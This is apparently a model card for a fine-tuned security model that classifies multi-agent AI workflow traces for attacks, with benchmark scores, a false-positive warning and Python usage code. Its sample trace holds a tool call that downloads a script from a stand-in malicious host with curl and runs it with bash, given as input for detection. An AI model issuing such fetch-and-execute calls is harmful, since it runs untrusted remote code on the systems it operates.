Specialized security model for detecting temporal attack patterns in multi-agent AI workflows.
Fine-tuned from Foundation-Sec-8B-Instruct (Llama 3.1 8B) on 80,851 curated examples + 141 targeted augmentation examples, achieving 74.29% accuracy on custom cybersecurity benchmarks—a +31.43-point improvement over base model (p < 0.001).
🎯 Key Capabilities
✅ Temporal Attack Pattern Detection: Identifies malicious sequences across multi-step agent workflows
✅ OpenTelemetry Trace Analysis: Classifies workflow traces for OWASP Top 10 Agentic vulnerabilities
✅ Security Knowledge Q&A: Answers technical questions about agentic AI security, LLM threats, MITRE ATT&CK
✅ Multi-Agent Security: Detects coordination attacks in distributed agent systems
⚠️ Critical Production Warning
NOT production-ready for automated security decisions:
False Positive Rate: 66.7% on benign workflow traces
Trace Accuracy: 30% overall (60% TPR, 0% TNR)
Root Cause: Training data heavily skewed toward attacks (90% malicious)
Deployment: Human-in-the-loop oversight mandatory - suitable for monitoring/alerting only, not automated blocking
See research paper for detailed analysis and proposed V5 improvements.
📊 Performance Summary
Benchmark
Base Model
agentic-safety-gguf
Improvement
Custom MCQA Overall
42.86%
74.29%
+31.43 pts
Agentic AI Security
40.0%
70.0%
+30.0 pts
Traditional Security
44.0%
76.0%
+32.0 pts
MMLU Computer Security
-
74.0%
-
MMLU Security Studies
-
72.24%
-
Statistical Validation: McNemar's χ² = 18.05, p < 0.001, Cohen's h = 0.65 (large effect)
1from transformers import AutoModelForCausalLM, AutoTokenizer
2import torch
34# Load model5model_name ="guerilla7/agentic-safety-gguf"6tokenizer = AutoTokenizer.from_pretrained(model_name)7model = AutoModelForCausalLM.from_pretrained(8 model_name,9 torch_dtype=torch.bfloat16,10 device_map="auto"11)1213# Security Q&A14messages =[15{"role":"system","content":"You are a cybersecurity expert specialized in agentic workflow security."},16{"role":"user","content":"What is indirect prompt injection in multi-agent systems?"}17]1819inputs = tokenizer.apply_chat_template(messages, return_tensors="pt").to(model.device)20outputs = model.generate(inputs, max_new_tokens=512, temperature=0.7, do_sample=True)21response = tokenizer.decode(outputs[0], skip_special_tokens=True)22print(response)
Analyzing Workflow Traces
python
1import json
23trace ={4"spans":[5{"name":"user_request","attributes":{"action":"fetch_emails"}},6{"name":"tool_call","attributes":{"tool":"curl","url":"https://malicious.com/script.sh"}},7{"name":"tool_call","attributes":{"tool":"bash","command":"script.sh"}}8]9}1011prompt =f"""Analyze this trace for security threats:
12{json.dumps(trace, indent=2)}13Classify as BENIGN, SUSPICIOUS, or MALICIOUS."""1415# Use model as above with prompt
⚠️ Warning: 66.7% FPR requires human review before taking action.
📖 Use Cases
✅ Recommended
Security research on agentic AI vulnerabilities
Educational demonstrations (OWASP Top 10)
Prototype development for security tools
Knowledge assistance (74% MCQA accuracy)
❌ Not Recommended
Production security monitoring without human oversight